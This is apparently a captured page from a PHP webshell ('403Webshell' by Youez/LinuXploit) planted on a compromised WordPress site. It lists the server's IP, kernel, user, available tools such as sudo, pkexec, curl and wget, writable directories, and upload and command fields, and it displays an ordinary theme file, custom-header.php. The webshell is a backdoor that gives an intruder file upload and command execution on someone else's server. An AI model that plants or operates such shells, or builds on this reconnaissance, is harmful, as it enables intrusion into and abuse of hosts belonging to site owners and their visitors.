403Webshell
Server IP : 208.109.34.209  /  Your IP : 216.73.217.134
Web Server : Apache
System : Linux 209.34.109.208.host.secureserver.net 5.14.0-687.29.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jul 23 16:18:48 EDT 2026 x86_64
User : oceanproject ( 1012)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/oceanproject/public_html/wp-content/themes/reda/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/oceanproject/public_html/wp-content/themes/reda/inc/custom-header.php
<?php

function reda_custom_header_setup() {
	add_theme_support( 'custom-header', apply_filters( 'reda_custom_header_args', array(
		'default-image'      => get_parent_theme_file_uri( '/assets/img/header.jpg' ),
		'width'              => 2000,
		'height'             => 1200,
		'flex-height'        => true,
		'video'              => true,
	) ) );


	register_default_headers( array(
		'default-image' => array(
			'url'           => '%s/assets/img/header.jpg',
			'thumbnail_url' => '%s/assets/img/header.jpg',
			'description'   => esc_html__( 'Default Header Image', 'reda' ),
		),
	) );

}
add_action( 'after_setup_theme', 'reda_custom_header_setup' );


function reda_video_controls( $settings ) {
	$settings['l10n']['play'] = '<span class="screen-reader-text">' . esc_html__( 'Play background video', 'reda' ) . '</span>';
	$settings['l10n']['pause'] = '<span class="screen-reader-text">' . esc_html__( 'Pause background video', 'reda' ) . '</span>';
	return $settings;
}
add_filter( 'header_video_settings', 'reda_video_controls' );

Youez - 2016 - github.com/yon3zu
LinuXploit